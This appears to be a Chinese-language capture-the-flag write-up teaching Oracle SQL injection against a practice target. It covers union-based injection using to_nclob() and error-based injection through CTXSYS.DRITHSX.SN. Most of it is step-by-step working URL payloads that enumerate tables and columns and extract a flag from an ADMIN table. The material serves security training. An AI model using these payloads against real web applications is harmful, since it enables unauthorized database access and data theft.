Oracle注入——报错注入
原理:同MYSQL数据库差不多,但是一些语法不同,相比其他数据库,Oracle数据库的数据类型更加严谨,由于过度严谨,所以,我们用显错注入,会比较麻烦,于是,我们利用报错的方法,忽视数据类型,直接获取数据CTXSYS.DRITHSX.SN(user,())
Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY
那么要它有什么用妮?
它实际上是为了满足查询语句的结构而产生
比如你想查询你的用户名 select user from Dual
调用系统函数:(获得随机值:select dbms_random.random from dual)
还能做加减法:select 9+1 from dual
………………
还有各种功能自己去挖掘吧
对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据
1.因为是第一次接触Oracle,我们查询一下系统自带表,熟悉一下Oracle的查询语句
select*from all_tables
因为Oracle注重用户的概念,不注重库名,所以,我们直接查询数据库的语句
select table_name from user_tables
查询到表名,查询一下列名
select column_name from user_tab_columns
最后查询数据
select flag from ADMIN
掌握Oracle语句过后,先尝试利用显错注入
进入靶场,先尝试看看URL栏是否存在sql注入,在末尾加上一个?id=1
页面返回正常,在后面继续输入一个and 1=1或者and 1=2
页面返回错误,可能是存在闭合问题,我们输入’闭合在注释
?id=1' and 1=1-- qwe
页面正常了,我们继续输入
?id=1' and 1=2-- qwe
页面返回为空,判定存在sql注入漏洞,于是我们开始查询你字段数
?id=1' order by 3-- qwe
字段数是为3,继续输入代码,因为Oracle数据库比较严谨,为了满足自身的严谨多了一个虚表dual,所以我们需要把from dual也写上去
?id=1' union all select null,null,null from dual-- qwe
查询表名
?id=1' union all select null,null,null from user_tables-- qwe
我们忘记修改null了,把第三个改成table_name
?id=1' union all select null,null,table_name from user_tables-- qwe
页面返回错误,这是因为数据类型不同这里,第三个字段其实用的是二进制,我们利用函数to_nclob(),来解决
继续输入代码
?id=1' union all select null,null,to_nclob(table_name) from user_tables-- qwe
得到了数据,两个表名NEWS和ADMIN
继续查询字段名
?id=1' union all select null,null,to_nclob(column_name) from user_tab_columns-- qwe
查到了字段名,我们直接查数据
?id=1' union all select null,null,to_nclob(FLAG) from ADMIN-- qwe
to_nclob是一种数据类型,显错注入对数据类型要求极严
得到flag
注意:系统字段名可以大小写不区分,但是字段里的数据大小写是要区分的
可以见的,Oracle显错注入,对数据类型有严格的要求,一旦出错就不知错哪了,正常靶场是没有回显 的,于是我们有一种方法可以直接绕过数据类型去查询数据库的语句,那就是报错注入
下面是Oracle的报错注入
原理:是数据库出错,强行丢出一个致命性错误,这个错误信息的内容,我们可以控制
我们利用一个偏门函数
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) 查询Oracle数据库版本的语句
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
我们把ctxsys.drithsx.sn(user,())中的user改成1,让它报错,后面的查询语句我们自己控制,输入语句去查询表名
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- qwe
成功查到表名,继续查询字段名
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1)) -- qwe
因为报错只能查询到一个字段,于是,我们输入代码,去排除第一个id
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name<>'ID')) -- qwe
查询到了第二个字段,依次类推,查询到了所有字段,其中有一个字段名为FLAG
那么这个可能存在我们的flag,于是我们直接查询FLAG字段里的数据
?id=1' and 1=ctxsys.drithsx.sn(1,(select FLAG from ADMIN)) -- qwe
但是我们试过后,flag错误,推测会不会是后面还有数据,继续查询后面字段
?id=1' and 1=ctxsys.drithsx.sn(1,(select FLAG from ADMIN where rownum=1 and FLAG<>'zkaq{1234567890}')) -- qwe
发现不存在数据了………
咳咳,然后我们换一个字段名
?id=1' and 1=ctxsys.drithsx.sn(1,(select ZHEBUSHIFLAG from admin where rownum=1)) -- qwe